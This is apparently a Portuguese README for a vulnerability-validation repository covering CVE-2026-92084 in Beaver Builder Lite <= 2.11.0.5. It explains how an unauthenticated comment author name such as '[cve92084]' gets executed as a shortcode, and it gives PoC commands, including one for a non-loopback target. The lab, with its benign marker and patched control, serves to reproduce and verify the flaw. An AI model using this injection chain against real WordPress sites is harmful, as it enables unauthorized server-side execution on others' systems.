
Laboratório de validação em Docker e PoC em Python para CVE-2026-92084, uma falha de execução de shortcode sem autenticação no Beaver Builder Lite <= 2.11.0.5, com controle corrigido e tela do nuclei.
Material de pesquisa de segurança para reproduzir e validar o CVE-2026-92084:
Beaver Builder (Lite) <= 2.11.0.5 executa shortcodes arbitrários registrados no WordPress
inseridos na saída de widgets renderizada pelo módulo Sidebar, por meio da
passagem do_shortcode() de todo o layout do builder.
'renders_shortcodes' => false;
o mecanismo de codificação de colchetes em si foi lançado anteriormente e permanece inalterado)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94Use apenas em sistemas que você possui ou está explicitamente autorizado a testar. O PoC publica um comentário cujo nome do autor contém um shortcode marcador registrado no laboratório. Nenhum shortcode destrutivo é usado e nada é gravado em disco.
Status: comprovado no laboratório fornecido.
Beaver Builder Lite 2.11.0.5 (WordPress 7.1.2, página do builder com um módulo Sidebar
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
Isso demonstra a execução no lado do servidor de um shortcode registrado arbitrário com saída incorporada na página, divulgada a todos os visitantes. Isso não demonstra RCE; o impacto depende de quais shortcodes estão registrados no alvo (exposição de post/meta, formulários, shortcodes fornecidos por plugins com efeitos colaterais).
O sink. FLBuilder::render_content() executa o layout do builder montado
por meio de uma ampla passagem de shortcode antes de exibi-lo:
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
O ponto de injeção. O módulo Sidebar renderiza a saída dos widgets de uma barra lateral do WordPress literalmente nesse layout:
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
O conteúdo do widget é dado de usuário não confiável - o widget principal Recent Comments
ecoa get_comment_author_link(), ou seja, qualquer nome que um comentarista
(não autenticado) tenha fornecido. FLBuilder::double_escape_shortcodes() apenas recoloca
os colchetes na forma escapada [[x]], portanto um [cve92084] simples passa adiante e a
passagem do_shortcode() o executa.
A correção. A 2.11.0.5 já traz o mecanismo de neutralização -
FLBuilderModule::$renders_shortcodes = true (class-fl-builder-module.php:143)
e FLBuilder::escape_foreign_module_shortcodes() conectado a ambos os filtros de
renderização de módulo (class-fl-builder.php:109-110, aplicado em 3240), que
codifica como entidades os colchetes de qualquer shortcode registrado na saída do módulo.
O módulo Sidebar simplesmente nunca optou por não participar. A única mudança funcional na
2.11.0.6 é a desativação:
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php com o payload de shortcode como
o nome do autor do comentário.do_shortcode() executa o
payload. Sua saída substitui o nome do autor, visível para todos os visitantes.Requisitos: Docker com Compose v2, Python 3.10+ no host.
./lab verify
Compila o laboratório 2.11.0.5, exige que o marcador seja acionado e, em seguida, compila o
laboratório 2.11.0.6 e exige a sua ausência. Remove tudo com
./lab reset.
Controle vulnerável:
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
Controle corrigido:
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
Um marcador na página apenas dentro do comentário exibido (texto bruto) não é aceito como prova; o marcador deve aparecer como a saída executada do shortcode.
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
Execute o PoC manualmente (loopback por padrão; alvos externos autorizados precisam do override explícito):
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
O template nuclei (nuclei/cve-2026-92084.yaml) é apenas uma verificação de versão
(readme.txt stable tag <= 2.11.0.5). A cadeia comportamental requer o envio de
comentário mais uma transição de aprovação, o que não é prático de expressar em
nuclei; o PoC em Python executa o fluxo completo.
| Versão | Avaliação |
|---|---|
| Beaver Builder Lite 2.11.0.5 | Execução de shortcode reproduzida de ponta a ponta |
| Beaver Builder Lite 2.11.0.6 | Controle negativo corrigido reproduzido |
| Beaver Builder Lite <= 2.11.0.4 | Afetada conforme o advisory; não testada individualmente |
| Beaver Builder (Pro/Agency) | Não testada - o escopo do advisory é o plugin Lite |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
Não versionado: assets/ (zips de plugins), .lab-state, __pycache__/.